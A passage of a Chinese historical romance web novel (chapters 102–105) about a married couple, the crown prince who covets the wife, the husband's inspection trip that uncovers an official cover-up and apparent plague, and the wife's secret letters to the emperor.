李审言仰首把配的面汤喝光,喉结快速滚动几下,“味道还行,比不过你做的。” 旁人听来,好像清蕴特意为他做过面,事实只是当初李秉真过生辰,清蕴给一家人都做了面。 经过夫妻开诚布公,王宗赫不会再为这种言语上的挑拨动容,不过醉酒状态下的他也不够沉得住气,闻言后笑了下,“确实,远不如夫人昨晚做的美食可口。” 旁边伺候的白芷:……三公子醒醒,昨晚您还在被打。 这个挑衅很有效,李审言脸色肉眼可见得冷了下来,同时也尝到了胸口发闷的感觉。 是了,他如今所拥有的和陆清蕴的一切,都是靠抢、靠别人的分享而来,她真正心甘情愿给的,不过是在外买的一个普通香囊。 但他早已习惯这种事,如果不争、不抢,当初他连活命的机会也许都没有。现在不过是要更有耐心,去等待一个绝佳的机会抢人罢了。 握紧腰间香囊,李审言目中闪过什么。 这顿饭吃好,天色大暗,李审言顺理成章提出留宿一晚的要求,清蕴夫妻俩依旧没拒绝。 冬日夜长,这种时候总要做些什么来消磨时间。只有夫妻二人的时候,无论做什么小事都能得乐趣,但如今多出了个非要插进来的人,就得认真思考了。 王宗赫搬出之前被抛到一边的棋盘,“下棋怎么样?” 李审言对下棋这件事仅止步于了解规则,还是当初在军营无聊时被孟嘉拉着学的。这会儿对上半醉的、挑衅似的王宗赫,丝毫不怵,随口应下来,“行。” 如果可以,清蕴真不想陪这俩暗暗较劲的幼稚鬼,有时间她能自己去看书、歇息,而不是看他们下这乱七八糟的棋。 现在好,两人对坐,她则在中间成了判官般,还要肩负偶尔给李审言讲解规则的职责。 “劳烦文襄夫人了。”李审言道,“我不擅棋道,但又实在感兴趣,正好借此机会向你们讨教。” 王宗赫出声,“夫人可别指点太多,你知道的,我棋艺不如你。” 语气中透着亲昵。 李审言满不在意扯了下嘴角。 棋桌设在地炕之上,四面垂布,以供腿脚取暖。清蕴再一次接受李审言请教,建议他接下来的几处落子地,说着说着,声音忽然一低,眉心微蹙。 “怎么了?”王宗赫立刻关心。 清蕴摇头,恢复神色,“不小心咬着舌头了。” 在桌底,她的小腿被右边那人放到自己腿上,褪去罗袜,正在细细摩挲每寸肌肤。 他真是……醉到失去理智了。清蕴低眸,三哥可就在旁边。 第102章 这个冬天,依然如他所愿 李审言以为这是在演什么不入流的话本么?清蕴微微用力, 对着他大腿内侧的软肉踩下去,碾了碾。 任谁武功高强,在没有用力时,那块肉也是软绵绵、极为脆弱的。李审言痛觉正常, 自然感受到了那尖锐的痛楚, 面色不改, 手上动作不由停了下来。 清蕴趁机撤回, 起身,“我累了, 你们继续吧,就不奉陪了。” 王宗赫:“那我也……” “我还想下。”李审言打断他,身体往后一仰,双手环胸,挑衅道, “不过多喝两杯酒, 王大人不会就精力不济了吧?” 他就是不想放王宗赫回内室和人独处。 王宗赫沉思,恢复坐姿,“好, 继续。” 清蕴不想管这两人,醉酒能够放大一个人的性情,也可能造成反差。从表现来看,三哥是后者, 李审言则为前者, 多待会儿, 指不定他会做出什么。 她没兴趣看这两人在自家打起来。 嘱咐藉香等人照看他们, 清蕴打了个呵欠,上榻后没过多久就睡了过去。 她如今睡眠已经沉多了, 不会被风声、雨声等轻易惊醒,隔着厚重帘子的轻微落子声只会成为催眠助手。 噼啪——烛芯发出爆响,让棋桌旁的两人同时回神。 她走了,他们下得心不在焉,兼之残余的酒意作祟,其实都很想倒榻再睡一场。 可能是男人间的那点较劲,都没提出结束,把无聊的棋局下到了曦光渐明,俱是哈欠连天。 看着王宗赫眼睫低垂、困意横生的模样,李审言把棋子一扔,“行了,那我就不再打扰,回宫去了。” 王宗赫意外,他还以为对方会再找借口多留会儿。 多留不是没办法,可李审言心知没有意义。他能妨碍一晚,阻拦不了一世,只要那两人是夫妻,总有可以亲近的时候。 不过他来王家并不是为了这,而是暗中观察他们状态,顺便添点堵。目的已成,没必要再为难自己。 拒了王宗赫送,李审言坐上马车闭目养神,半晌忽然出声,“看什么?” 他闭着眼仍有感知,对阿宽的眼神不是一无所觉。 阿宽也不怕,笑道:“爷昨晚有什么收获?” 他抓心挠肺的,可好奇了。难道主子就和王大人下了一晚的棋,没有借机向陆夫人表个心迹? 李审言从鼻间哼出一声,没睁眼,抬脚不轻不重踹了过去,“管好你自己。” 对身边人,他没想掩饰自己的心思,阿宽、孟嘉他们定然都能猜到,但他也不可能让人把自己的私事当话本听。 进宫后,李审言准备先去补觉,尚未进东宫,被镇安帝拦住了。 镇安帝消息灵通,早已知道昨天发生的事,还清楚这小子借机在王家赖了一晚,不用想也知道是多么厚脸皮才能留下。 因此,他的怒气很明显。 “陛下有何贵干?”李审言懒懒散散,一副无精打采的模样。 “站没站相!”镇安帝低斥了声,“做什么去了?一夜没回也不打声招呼,你祖母等了许久。” 李审言:“和陛下钦定的阁老大人联络感情去了,怎么,这也不行吗?” 镇安帝笑了下,“真是这样,我立刻就去帮你把选太子妃的事给拒了。” 李审言一副无所谓的模样。 镇安帝抬手,让徐全和阿宽都退到远处,接着道:“你祖母选了三家姑娘,我觉得都还行,年前召进宫来你再看看,看中了就下旨。” 见儿子不搭话,他放缓语气,“过完年,你就三十了,寻常男子这个年纪早已儿女绕膝,你却孑然一身。不止我放心不下,你祖母更是整日难眠。她身子不好,眼下就剩这个心愿,无论如何,让她高兴些。” 李审言盯着他,忽然笑了,“好啊,尽管召进来,到时候她们哭着喊着不愿嫁,可与我无关。” 毫不掩饰的恶意和抗拒令镇安帝皱眉,威严立显,“你还要胡闹多久?为着那点妄念,要让我们俩都不安心是不是?人家夫妻感情甚笃,哪里有你的机会?” 犀利三问,叫李审言沉默了会儿,屈膝倚靠廊柱,而后抬头,“那你呢。” “……什么?” 李审言:“你又为什么不选妃,不立后?” 镇安帝觉得好笑,“我有儿有女,又这把年纪了,有什么必要选妃?” 李审言眉头轻轻挑了下,“哦?我还以为是惦记着杨淑容,不肯再续娶呢。” 杨淑容,大长公主的名讳。 镇安帝目中飞快闪过什么,脸色不好,“这不是你该管的事。” “那我的事也不需要你管。”李审言直起身,“我和你不同,从始至终,只要心中认定的。如果不是她,我宁愿孤独终老,也不想随随便便和人配种似的成婚生孩子。当初你习惯了我娘,没碰到别人之前收了她,而后发现对杨淑容才是真爱,就冷落她?呵,莫不是很享受女人为你发狂、做尽蠢事的感觉?” “砰”一声,李审言被镇安帝狠狠一拳锤到脑袋歪了,额角立刻呈现青紫,让远处的两人惊恐不已,犹豫要不要去劝架。 随手抹了把额头,李审言转回来,继续口吐芬芳,“怎么,现在两人死的死,散的散,开始后悔,知道不该随便招惹女人了,让我去招惹?” 镇安帝厉声,“你和我情况如何相同?” “怎么不同?”李审言嗤声,“万一她中途和离了,或是王老三出了什么事,我分明有娶她的机会,却因为随便娶了个女人生了孩子而娶不成,怎么办?自己到了后悔也补救不了的地步,就指望别人和你一样?” 说完,李审言还补充,“别以为我不知道你私下做了哪些事,杨淑容知道吗?就算知道,她会领你的情吗?” 字字句句戳中镇安帝痛点,胸膛剧烈起伏,要不是眼前是自己仅剩的儿子,恨不得拔刀砍了这个不孝子。 “那你准备一辈子这样不成?” 一辈子如此,对李审言而言不难。但他身处这个位置,也知道有些事不可能全凭自己任性。假使被人知道他不愿成亲的原因在陆清蕴,她将被千夫所指,更不可能对他有好脸色。 所以他道出这阵子早就想好的说辞,“两年。” “……嗯?” 李审言:“两年之内,如果毫无机会,我甘愿放弃,任凭你们安排。” 镇安帝狐疑,“当真?” 他不敢直接信,这小子前科太多了。 李审言不耐烦了,他实在困得紧,“不然给你写封保证书?” 镇安帝想了想,“两年之内若无结果,你还不愿成亲,我就把克衡调去外地。他一心为民,也曾提出过离京历练的想法,不会介意官职高低。” 王宗赫去外地任职,陆清蕴作为妻子八成要一起,这是直接用距离来切断他的念想。李审言牙咬了几圈,点头,“行,就这么办。” 先应付过去,真到了那时候再说。 看着李审言离开的背影,镇安帝有一瞬后悔。作为皇帝,他本来不应该定下这样荒唐的约定。但作为父亲,他因允勖的话有所触动。 从这些年的情况来看,允勖所作所为绝不是出于冲动意气。如果可以,镇安帝不希望儿子和自己一样留下终生遗憾。 幽幽叹了声,镇安帝对徐全摆摆手,“不必跟,朕自己走走。” ** 沉睡大半日,王宗赫真正清醒时,记忆有片刻缺失,不知自己如何回的家,不清楚在躺上榻之前发生了什么。 随着外间类似捣药的声音传来,内室渐渐被奇异的香气充盈,闻之身心舒畅。 王宗赫起身,挑开帘子,一道窈窕身影正背对他挑拣香料,边吩咐女使怎样混合、捣药。 这种家常景象让他无来由得安心,没掩饰动静,步步走去。 “头不疼了吧?”清蕴没回头就察觉他的到来,出声道。 王宗赫:“有你调的香,怎么会头疼。” 清蕴转过身,见他这副不惧寒的模样笑了下,“看外面。” 循声望去,王宗赫恍然发觉窗棂外灰暗的天穹正裂开千万道绒絮,纷纷扬扬的雪片洒落人间。檐角最先承接住这份莹白,青松枝桠在雪霰中舒展银装,庭院石桌也悄然覆上了薄雪。 他迟钝地感受到了冷意,“我睡了……几天?” 清蕴幽幽道:“三天三夜,我们还以为你得了什么怪疾,请遍京城的大夫。” 王宗赫先是睁大眼,而后注意到白芷、茯苓的表情,顿时明白清蕴在捉弄自己,无奈道:“是我不对,不该喝这么多酒。” “明知酒量一般,该推辞时就要推辞,不能逞强。” 没作辩解,王宗赫堪称听话地点头。 清蕴这才微微一笑,“去穿好衣裳,今晚全家一起吃冬饺,祖母那边早就打了招呼,无大事不得缺席。” 不到一刻钟,夫妻俩都收拾好了自己。 落雪颇盛,王宗赫一手撑伞,一手揽着清蕴,慢慢走过去前院必经的路。三言两语中,大致想起醉酒后发生的种种。 记得自己和李审言下棋的场景,他低首道:“并非我坚持下棋。” 他怕清蕴以为自己又在误会、吃味。 清蕴嗯一声,回握住他,“我知道的,没想其他。” 王宗赫眉眼放松,泄出了浅浅笑意,就这样和清蕴相携慢慢走进家人俱在的前厅。 “来啦。”二婶正阻拦年幼的堂弟顽皮,边笑着对他们打招呼,“就等你们了。” “久等了。”抖去伞上雪花,王宗赫回眸望一眼外面景色。寒意漫过了厅前石阶,被里面漏出的融融暖意阻挡。 冰棱垂坠如尺,悄然丈量着人间团圆。 这个冬天,依然如他所愿。 第103章 三哥,一路顺风 “嘶——”疏影在走廊搓手剁脚哈气, 试图把浑身的冷意甩去。 年节刚过,仍是天寒地冻,官员们已经重新复工了。今天是新年第一场朝会,本来不会有什么事, 无非是歌功颂德一阵, 再由陛下对百官作勉励。 不知提到了何事, 里面争执起来, 甚至有人动手。疏影听说后到外面踮脚张望许久,本就捱冻半天, 回头和自家爷同乘马车时,还恰巧被冰棱砸了马车顶,砸出一个大洞来,飕飕灌风。 两人最后是徒步回家的,疏影又倒霉地因避让孩童一脚踩进雪堆, 浸了满靴雪水。总之处处不顺, 浑身都快冻僵了。 “去换身行头吧。”王宗赫出声。 疏影欸一声,忙不迭回到自己的小屋,把衣衫鞋袜从头到脚换了遍。回到春诵堂时, 迎面听到咕嘟嘟的水开声,茶香四溢。 跽坐在罗汉床旁的夫人招呼他,“快来喝杯热茶。” 疏影双手捧过,先畅饮一大口, 舒坦道:“还是夫人煮的茶香。” “跟着你家大人辛苦了。”清蕴含笑, “三哥也是, 临时找个成衣铺换身衣裳也好, 冻着走这么久,待会儿两人都着凉了。” 疏影暗暗点头, 可惜爷半刻钟都不想多在外停留。 同样换好常服的王宗赫浅笑了下,“没多远的路,懒得在外找店。” 接着道:“刚才不是好奇今早朝堂为何会有那么大争议么。” 清蕴颔首,手捧热茶作出倾听模样。 王宗赫先解释起因,起因是有人提到了“复套之议”。 复套,即为收复河套。河套地区三面被黄河环绕,阴山横亘北疆,对中原而言至关重要。前朝时期这道防线就已经失守,以至蒙古骑兵频频侵扰陕西、山西等地。 曾在陕西任职的新任兵部尚书今早在朝会上突然提出了收复河套,引来巨大争论。 主战者附和他的说法,认为若收复成功可以缩短防线,大大减轻边防压力。主和者则认为,新朝初立,本就该与民休息,冒然兴战不仅容易引得民心动荡,耗费大量粮草、军费之余,还不一定能取得成功。 要知道前朝不是没试过收复河套,但都以失败告终。 因主和者居多,兵部尚书脾气上来了就开始骂人。不止骂那些反驳得头头是道的文官,也骂不吭声的武将,说他们没了血性,一朝加官进爵就想着终身龟缩太平地养老。 这下捅了马蜂窝,一堆人在朝会上直接大打出手。 王宗赫本来默默退到了角落,被李审言“不经意”撞进战局,导致脸上也挂了彩。 当然,他没故意告状,只道:“太子对此议颇为心动。” 清蕴捧茶怔了会儿。 王宗赫很理解她的复杂情绪,暂时没出声打扰。 当初清蕴的父亲,陆博行将军就是在收复河套之战中身受重伤,不治身亡。消息传回江苏,姑母因接受不了挚爱之人身亡,故而跟随自尽。 对外道姑母是伤心之下郁郁而终,但王、陆两家都知道她的真实死因。 可以说,清蕴正是因此失去双亲,而后辗转到王家,一直过着寄人篱下的生活。 真相虽然和王宗赫所想不同,但原因颇为相近,清蕴还真是想到了那位名震一时的陆将军。 同在江苏生活,她怎么可能没听过陆将军的威名呢。当初倭寇侵扰,长辈、邻里还说过,若是陆将军在世,那些倭寇根本不敢来。 清蕴出神,一是想起了这位值得尊敬的威武大将军,二是记起因倭寇而死的至亲。 如果河套能够收复,蒙古突袭的可能将会大大减少,如林家、陆家那样的悲剧也会少许多。 不过,正如主和者说的那样,如果兴起战事,付出的代价会很大。 明知不该这么想,清蕴还是下意识估量起了自己手中握有的资产。 “猗猗,猗猗——”王宗赫唤她。 清蕴嗯一声抬眸,发现白芷疏影不知何时出去了,仅有茶炉在轻轻冒泡。 “陛下怎么说呢?” 王宗赫:“陛下未作定论。” 即是说,镇安帝也在摇摆不定。 清蕴抬手把茶饮尽,“估计短时间不会有决定。“ 王宗赫表示赞同,随后道:“朝会后陛下召我去御书房谈话,定了三月入阁,随后等六月一过,我就要和都察院官员一起去巡视、考察南直隶的官员,时间大约要三月。行程比较赶,也较为特殊,不便带家眷。” 清蕴嗯了声,随后意识到什么,眨眼道:“为何不便带家眷?” 眸光流转间似有恍然,“既是去考察官员,少不得要被人讨好,江南一带美景、美食、美人都很出名,怪不得……” “猗猗……”王宗赫无奈地面对这揶揄,如果可以,他恨不得把表妹变小揣在袖中带走,哪有心思去想什么江南美人。 他低头轻咬了口那水润润的唇,让清蕴微微吃痛,“开个玩笑而已。” 王宗赫:“玩笑也不许。” 清蕴只好向他求饶。 夫妻俩玩闹一阵,再安静下来品茶赏景。 今年冬天虽然冷,但好在没有造成太严重的雪灾,各地即便有灾情也都迅速得到控制。总体来说,算得上一个安稳年。 镇安帝登基后的第一个年过得如此顺利,也让那些文人大夫们有了名正言顺的理由称颂这位天子。一时间,各地关于夸赞镇安帝德被四方、光被四表的折子如雪花般飞至案前。 与此同时,清蕴也开始受到追捧,因她手下织经堂所修出的十来本书籍开始被人发现,慢慢打出名声。 起初得知这些书都是女子编修而成,还有不少古板士大夫抨击,直到清蕴站出来带头回应出声,那些士大夫碍于她文襄夫人的封号和背后的王家,不敢再羞辱阻挠,织经堂便终于有了扬名的机会。 清蕴没把名声全揽在自己身上,明言其由前朝大长公主杨淑容所创,论功绩,她也只能占两三成。 几个月来,王宗赫在外交际,偶尔还会被人特意问起自家夫人,称清蕴为当代奇女子。对此,他自豪之余,偶尔也会因小小的占有欲作祟,归家和清蕴好好“沟通交流”一番。 六月倏忽而至,因年初就被告知行程,王宗赫这边早就做好了一应准备。 彼此出行,他心底很放松,既因和清蕴的感情越来越融洽,也因李审言同样离京了。 李审言和兵部尚书想法一致,试图收回河套。在他的坚持下,镇安帝同意他联合蓟州副总兵陈危一同率兵去查探,等他们此行探明情况,制定出有效的收复之策,再由镇安帝和内阁商议,是否要正式出兵。 李审言提前半月离开了,这会儿,王宗赫在晨光熹微时抱住清蕴,低声道:“我有空就会写信,不必担忧。” 埋在他胸前,清蕴微微点头,“三哥,一路顺风。” 第104章 家书 猗猗, 抵金陵已十日有余,江南暑气渐盛,幸而水巷穿风,不似京中闷热。晨起沿淮水踱步, 见河畔老妪叫卖鸡头米, 忆卿素爱此物, 已托人捎带两筐, 不日将至。 昨日攀牛首山,山脚茶寮偶遇老丈, 赠我两枚白兰,香气清冽,以帕裹之夹于信中。此地女子多簪此花于鬓,若卿在,定极衬此色。 公务虽冗, 不至劳累。夜半凭窗听雨, 江南雨丝绵密,不似北地倾盆,正合“润物细无声”之境, 不知京城雨否? ………… 诸事皆安,不必担忧。新觅得一方歙砚,其纹似远山含黛,如卿蛾眉, 甚喜。 纸短难藏吾念, 余言面叙。 即问夏安。 看完这封短而情长的信, 清蕴拈起那两朵白兰。在信封中待了许久, 它们已成为两片小巧书签,洁白依旧, 凑近细闻,似乎还能嗅得它曾经芬芳。 清蕴唇畔浮现微笑,久久未消,看得白芷也忍不住为主子高兴。 “离家一月,正事还没办出结果,先寄了三封信。”秦夫人踏入春诵堂就看见外孙女兼孙媳发呆的模样,出声调侃,“当初就该把你揣怀里一同带走。” “祖母——”清蕴轻轻唤她,声音又低又惹人怜爱,是难得的撒娇。 秦夫人心也跟着化了,小夫妻成婚快三年依然感情甚笃,自然是她乐于看见的,没谁比她更想看到清蕴过得幸福。 不过她此来是有别的事,“听说你又开始喝药了,每隔五日,还把林大夫请到了家里?” 清蕴颔首,“林大夫说,单喝药对我可能效用甚微,配合推拿、针灸之法能够事半功倍。” 她既然能感受到三哥的爱意,当然也清楚他对拥有一个孩子的渴望。来自长辈的压力被他尽数扛下,外间有关此事的议论也都没打扰过她。但慢慢的,清蕴发现自己也想在三哥脸上看到惊喜,所以趁此机会,把这事重新提了上来。 知道是她自己的意思,而非受儿媳郑氏等人的催促,秦夫人就放心了,“量力而行,我们不急。” 不怪她偏心,她就一个女儿,女儿也就留下这么一个孩子。她不为猗猗多考虑些,还有哪个长辈会呢? 察觉到秦夫人借自己思女的情绪,清蕴往她怀中小小一靠,没让老人家看到自己过于平静的眼底。 可能是时间太久了,起初她还会因占了她人身份内疚不安,如今已经快要忘了这些错位的事,真正把自己当成了陆清蕴。 难道不是吗?从一开始,祖父祖母、三哥他们认识并生出感情的,都是她。 清蕴静静想着,抬手拍打秦夫人手背,随后握住。 秦夫人笑了笑,“话说回来,你有这份毅力,配上林大夫的医术,想必到时候等三郎归家不久,就能传出好消息。” 清蕴没什么羞涩,眨眼点头道:“我也希望。” “待会儿我就着人收拾行李,去寺庙里待半月,向佛祖祈福。” 清蕴好笑,“祖母,没必要。” “怎么没必要?”秦夫人淡然道,“佛祖喜欢心诚之人,祂老人家高兴了,自会降下恩泽。” 说罢,已经定了主意,让女使回去收拾行囊。 眼见祖母雷厉风行,清蕴撑腮望了会儿,回头对上茯苓递来的汤药,端碗一饮而尽。 随着时节入夏,京城也慢慢炎热起来。清蕴对酷暑忍耐力尚可,不会难捱。倒是王宗赫素来苦夏,在外又总端着架子,不愿穿得太轻薄,更不会像他人那样露出四肢,很可能要吃些苦头。 如此悠闲过了两月,清蕴发现王宗赫家书渐少。起初她以为是忙碌所致,等收到最新一封信时,神色微变。 抵达凤阳府虹县前,清蕴记得当时王宗赫来信就说过,虹县知县染了重疾,不幸在他们到之前病逝了。新任县官还没到位,所以打算避开虹县。 最新一封信则说,虹县疑似发生时疫,症状蔓延,全城皆危,他们一行人打算先处理好此事再离开。 时疫……清蕴不由想,莫非前任知县就是因感染疫病身亡的吗?可凤阳府的知府没有上报此事,应该不是。 如果可以,她其实很想让三哥离远些。世人谈瘟色变,不仅因为其容易致死,更因为一旦染上疫病,就绝不会被轻易放过。即使他身居高位,没人敢怠慢或拘禁他,清蕴也不想冒险。 盯信半晌,清蕴最后还是轻叹了口气。固然她能强行让三哥为保全自己离开,可那不是他真正所愿。 她没法这么做。 按下担忧,清蕴看起另一封信。 这封和李审言、陈危相关。他们率兵去陕西刺探河套地区蒙古兵力,仗着艺高人大胆,两人竟亲身深入腹地,试图先擒敌将,再率兵攻打。 不过这还在谋划当中,没有实施。 陈危说,此事一了,他就有机会调任京城,问她是否同意。 沉思会儿,清蕴提笔写下两封回信,随后又对上了茯苓的汤药。 饶是她,也不自觉皱起眉头流露抗拒。这药太苦,且服药期间不得食生冷、辛辣等物,连甜食也要少吃,让她吃饭时总是味同嚼蜡。 茯苓:“……要不,停一阵子?” 她天天看着这黑漆漆的汤药也发怵。 “罢了,半途而废还得重新喝。”清蕴闭眼灌药。 及至黄昏,林大夫准时来王家。 她年逾五十,仍未生华发,只有眉间浅浅的沟壑显露些许年纪。虽然不苟言笑,但耐心十足,凡有疑惑都会细致解答。 据她所言,不孕多为肾气不足,或肝郁血瘀、痰湿阻滞,需要在腹部、腰骶、下肢等地的多个穴位进行推拿、针灸,以温补肝肾、调和气血、激发阳气。 经过这阵子,清蕴确实能感到气血更为充盈,也不再容易感到疲乏了。 正是见效如此明显,清蕴对她极其信任。 结束了今日疗法,清蕴轻声问:“除去女科,林大夫对其他病症可有了解?譬如疫病。” “绞肠痧、痘疮、瘴疟等都略知一二,夫人想问哪个?” 清蕴凝神,“若是这个时节的江南一带,容易发生哪种疫病?” 林大夫沉思,“除去瘴气,其他都有可能,要看病因。” 在信中也无从知晓是哪种疫病,清蕴干脆把林大夫了解的那几种都问了个遍,并询问解救之法。 按理来说时下医术大有进步,很少会出现大规模疫病却无可奈何的情况,清蕴仍有些放心不下。因此详细询问过后,她让人准备了一些药材快马送去安徽。 清蕴做的是以防万一的打算,没有想到,担忧竟在半月后成真,安徽那边传信来,说王宗赫染上了疫病,被单独隔在了农户家中! 消息一回,整个王家震动。 郑氏也知道一个身染疫病的人不可能被允许回京,焦急道:“赶紧送大夫和药去啊。” 王维章看向父亲,王贞摇了摇头,“既然信中能提到此事,朝廷肯定早派了大夫前去,只不知是什么疫病,竟没有丝毫消息。” 他直觉情况不像孙儿之前信里说得那么简单,不然陛下那边不会不明说,而是暗地派人处理。 如果不是因王宗赫的存在,他们恐怕压根都不会知道这事。 一时间,王家人议论纷纷,清蕴则心乱如麻,有些不可置信。 三哥行事谨慎,又有她百般提醒,怎么可能会亲身涉险染上疫病,还被关在城外? 被关在城外,说明他是亲自去了传出疫病所在的村落,可这和三哥之前说的打算完全不同。 但三哥不会、也没必要在信里对自己说谎。 信……清蕴忽然想到什么,看了眼正在讨论对策的长辈,默默回到春诵堂。 在读前几封信时,她总觉得信纸摩挲的手感和以往大有不同。当时不以为意,只当三哥换了种信笺,如今看来,未必那么简单。 仔细端详信笺,没看出蹊跷。把它放在烛火上空轻燎了遍,也无异常。冥思苦想许久,清蕴突然把它放到阳光下观摩,虽然看起来和普通信笺差不多,但不知是否错觉,内部似有重影? 心中有了猜测,清蕴唤来藉香,让他拿着裁纸刀,从信纸末端开始,硬是把薄薄的纸张切开,一分为二,露出了里面如蝉翼的细纸。 藉香内心惊讶,面色不显,手极稳地连“拆”了三四封信。 让藉香守在门外,清蕴先冷静下来,再拿起纸张细看。 慢慢的,她终于明白发生了何事。 一切都从虹县的连知县之死开始。 从虹县录事那儿可知,连知县是因心悸猝死,疑似劳累过度。王宗赫意外翻得他的医案,却发现他死前曾有“皮下见斑”的症状,当时就起了疑心,着手调查。 他作为内阁大臣,手握圣旨,权力极大。凤阳府知府扛不住,先交代前因后果,道两个月前虹县下的一个小村庄就出现了疫病的征兆,那时候他和连知县都没想到,只以为是普通病症,后来村民症状越来越严重,接连身亡,才意识到发生何事。 可为时已晚,小村庄的十几户农户已尽数身亡。为了避免疫病传播,他们只得焚村。因不想影响仕途,又联手隐瞒了真相。 直到此事毕,连知县才发现自己也有了同样症状,他对那些村民心怀愧疚,也不欲成为祸源,故而主动赴死。 这是知府交代的故事,王宗赫却从中听出了更多蹊跷之处,根本没信,依旧在私下查案,而后得到了一个截然不同的真相。 村民集体染病是事实,并非任何一种疫病,纯粹是吃了山菌中毒。连知县不敢小觑,把事情上报,知府连忙派大夫来察看,大夫当场断定为时疫,知府便下令封锁村落,不许任何人外出。 结果那毒霸道无比,因没有得到及时医治,在大夫还在思索解疫之法时,村民们就一个个中毒身亡了。 事后其他大夫前去查看,道出了这并非疫情的事实,令知府吴鹤大惊。 三四十条人命,因他的疏忽大意而没了,放在哪儿都是摘帽子、掉脑袋的大事。 因此吴鹤对连知县威逼利诱,以二人同乘一船及其家人威胁他不许说出此事,然后一把火烧了整个村庄。 连知县良心未泯,暗地寻找那些村民的亲属,想救济他们,并写罪己书向镇安帝陈述罪状。 此事被吴鹤知晓,干脆一不做二不休,真让虹县产生了“疫病”,并以此害死了连知县。 大概是天意弄人,吴鹤让手下做出假疫病盛行之状,想以此吓退京城来的一众官员,让他们不敢细查此事。结果弄假成真,真给虹县带了瘟疫。 还是最要命的鼠疫。 第105章 看着他们俩做对地府鸳鸯?没门! 鼠疫、霍乱、天花都是较为凶险的时疫, 其中以鼠疫最为霸道。一来很难医治,二来感染性极强,稍有不慎就要封城。如今正值酷暑,会让这种病传播得极快。 清蕴背部一瞬间发凉。 眼下消息没有传得人尽皆知, 说明陛下那边已经知晓了情况, 在有意控制。 定了定神, 清蕴拿着信去找几位长辈, 和他们商议后,为避免引起注意, 便让她以求见太后的名义进宫。 如今的太后、曾经的太夫人对清蕴印象尚可,很容易就应了她的求见。 陪太后说会子话,清蕴就在内侍的暗示下提出告退,被带领着来到御书房。 镇安帝在批折子,听见动静也没有抬首, 淡淡一句“都退下吧”, 徐全便带着奉茶宫女退出房内。 窗户大敞,热风流淌而过,被御书房内冰块散出的冷意融合。清蕴嗅到屋内刚刚散去的醒神香, 加之镇安帝眼下青黑,他应该许久没睡好了。 “陛下。”清蕴行礼。 镇安帝终于停笔,对她笑了下,“天气热, 桌上有刚从冰鉴取出的酸梅汤。” 清蕴谢恩, 先奉上木盒, 轻声道:“陛下, 外子奉旨赴南直隶公干,途经安徽虹县时, 觉察当地疫情隐现蹊跷。彼时暗访查得实情,遂将密信夹藏家书,特嘱臣妇面呈陛下御览。” 镇安帝应一声,接盒取信,开始一张张细看。 清蕴坐回原位,因不好长久凝视圣颜,就心不在焉地无声搅动酸梅汤。余光偶尔注意过去,随后发现在这个位置待了快一年的镇安帝,已经极出色地掌握了帝王应有的威严——喜怒不形于色。 她没法从他的神情判断其想法,只能耐心等待。 许久,当清蕴感觉屋内冰鉴都没法再制冷时,镇安帝出声,隐带怒意,“我会派人查明真相,如果事实真是如此,定会给他们严惩!” 在清蕴面前,镇安帝很少用“朕”一字,这代表了他的信任和宠爱。 信中所陈证据确实不完整,主要是王宗赫基于查探到的细节进行的推测,其中不仅涉及虹县知县、凤阳府知府,甚至南直隶总督也牵涉其中。因总督和知府吴鹤是连襟,此事之前能瞒得如此严密,总督肯定也出手了。 清蕴起身,“陛下应该已经知道了此事吧?” 镇安帝颔首,“不错,瘟疫一事不可小觑,初有端倪时,他们就已经传信禀告,南直隶总督范蒙也递了折子来。不过,当时我并不知还有这么多内情。” 天高皇帝远不是一句虚言,所以天子才需要委派众多值得信任的官员去管理各地。但当官员有了私心,私下结党()营私,或和当地沆瀣一气,即使是皇帝也有可能被蒙在鼓里,不明真相。 镇安帝的态度很明确,他也绝不是那种是非不分、罔顾人命的昏君,可清蕴并没有感到轻松多少,而是轻声问:“陛下打算立刻派人前去严查?” “是要严查。”镇安帝话锋一转,“但虹县瘟疫为真,当下最紧要的,是要控制疫情蔓延,挽救当地其他百姓性命,因此,此刻还动不得他们。放心,等此事了,我必给你和克衡一个交代。” 值此紧要关头,确实不宜大动官员,可是…… 清蕴抿唇,“我听说鼠疫几乎不可控,陛下准备怎么控制,是要封城吗?” 镇安帝不语,几乎是默认了,看来他这几天一直在思索忧愁的就是此事。 前朝几百年间也闹过几次瘟疫,其中就有一次鼠疫,据记载,当时那场大疫,死亡日以万计。还有阖村尽死,无人掩埋的可怖现实。 清蕴几乎用微不可闻的声音继续,“那……三哥呢?” 镇安帝起身,负手面向窗外,“我会派太医去,尽力为他医治。” 意思是,所有感染疫病的人,都必须被一同封锁在内。 清蕴心中仅存的希冀消失,意识到这是镇安帝身处这个位置必须做的决定,只要三哥确定染病,就不会对他网开一面。 但要对付他的不止是病,更有虎视眈眈的总督和知府。那些人目前还不知真相已经泄露,就极有可能为了隐瞒事实,让三哥在这场大疫中“意外身亡”。 深吸一口气,清蕴道:“请陛下允许我随太医一同前往虹县。” “胡闹!”镇安帝斥她,“这是瘟疫,你是大夫吗?去了能有什么用?” 怒斥声有些大,他感觉清蕴似乎有点被吓着了,很快放缓语气,“我知道你和克衡夫妻情深,也清楚你的能耐。但鼠疫非同小可,不是带上大夫和药就能解决的,我会命侍卫和太医尽量把人安全带回京城,你绝不能以身涉险。” 清蕴没有被呵斥住,“臣妇虽不是大夫,但至少能够在疫病之外照顾好他。陛下放心,一旦进城,臣妇也会守规矩,绝不出城,直到此事结束。” 镇安帝看着她,想到许多。 与其说他把清蕴看作曾经的儿媳,不如说更像一个没有血缘关系的女儿。五指尚有长短,何况各人在他心中的地位。 很可惜,从密折中可知,王宗赫确确实实染上了鼠疫,已是九死一生,他不想看清蕴为此冒险。 镇安帝狠了狠心,“朕不同意,你懂事些,不可为一己私情任性,安心在家等消息,朕会随时派人告诉你。” 说完,不顾清蕴还有话想说,高声唤徐全进来,让他亲自送清蕴归家。因了解清蕴的性情,送她归家时,还特意让徐全叮嘱王家人,绝不可让清蕴离京。 这是御令,既为劝诫也是警告,连清蕴私下离开的路也给堵了。 清蕴久违地感到了怒火和无奈,可对上家中长辈的眼神,又慢慢冷静下来。 镇安帝都是为她好,她清楚,可她绝不能眼睁睁看着三哥身处险境而不顾。 清蕴绞尽脑汁,一时竟想不出什么好办法。 她之所以想去,是因为还存在另一种怀疑。以三哥的谨慎,他不一定会染上疫病,可能是那边为了限制他的行动,故意使的某种招数。 这猜测却不好对镇安帝说,他会认为这是她为了救夫而想出的计策。 日子一天天过去,王宗赫已经“染病”,家书自然也断了,清蕴能够得知的消息越来越少。 正是此时,李审言率兵回京了,陈危也一同。 